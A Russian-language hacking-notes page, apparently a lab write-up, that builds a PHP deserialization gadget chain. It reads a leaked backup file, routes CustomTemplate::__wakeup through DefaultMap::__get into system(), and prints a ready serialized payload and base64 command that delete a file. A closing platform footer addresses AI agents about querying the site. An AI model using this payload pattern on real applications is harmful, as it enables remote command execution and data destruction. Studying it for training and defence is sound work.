> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md).

# Пользовательская строка для цепочки гаджетов PHP-десериализации

### Разработка пользовательской цепочки гаджетов для десериализации PHP

Приложение хранит сессию в сериализованном **cookie + закодированном в Base64**. Во время десериализации некоторые **магические методы** запускаются автоматически (в частности `__wakeup()`), открывая путь для цепочки гаджетов, ведущей к выполнению команд.

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}
```

{% endcode %}

Следующий комментарий:

```html
    <!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated -->
```

<figure><img src="/files/b92b59aa8fba32b57db4de57212e3376484f3e43" alt=""><figcaption></figcaption></figure>

Файл читается через /\~

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1) Анализ кода (`CustomTemplate.php~` резервный файл)

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Карлос считал, что это круто — вызывать функцию в двух местах... Какой гений
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, о чём ты думал с этими описаниями? Пожалуйста, рефакторинг!
        $this->HTML_DESC = '<p>Этот продукт <blink>СУПЕР</blink> крут в HTML</p>';
        $this->TEXT_DESC = 'Этот продукт крут в тексте';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### Точка автоматического ввода: `CustomTemplate::__wakeup()`

* Во время `unserialize()`, PHP автоматически вызывает `__wakeup()`.
* Здесь, `__wakeup()` вызывает `build_product()`.

#### Передача в `Product`

`build_product()` делает:

* `new Product($this->default_desc_type, $this->desc)`

И в `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

Итак **код пытается обратиться к динамическому свойству** в `$desc` объекте, с `$default_desc_type` в качестве управляемого значения.

#### Выбор гаджета: `DefaultMap::__get($name)`

Если `$desc` — это `DefaultMap` объект:

* у него нет реального свойства с именем `HTML_DESC` / `TEXT_DESC` / или другая навязанная цепочка,
* поэтому PHP вызывает `__get($name)`,
* `__get()` сделано: `call_user_func($this->callback, $name)`.

Если `callback = "system"` установлено, результат — `system($name)`.

#### 2) Цель цепочки

Выполнить:

* `system("rm /home/carlos/morale.txt")`

#### 3) Построение цепочки (логически)

Создаём объект:

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/ (это будет имя свойства `DefaultMap`, поэтому аргумент, передаваемый в `system`)
* `CustomTemplate->desc` = **объект DefaultMap**
* `DefaultMap->callback` = **"system"**

Получено из десериализации:

1. `unserialize()` → вызывает `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` делает `$desc->$default_desc_type`
4. `$desc` является `DefaultMap` и свойства не существует → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → выполняет команду

#### 4) Сериализованный PHP-пейлоад (обратите внимание на длины)

Сериализованный пейлоад:

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### Кодирование Base64 для cookie

Команда:

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="/files/211a0ca7b8168ae61b561070b282db5d53868bfd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
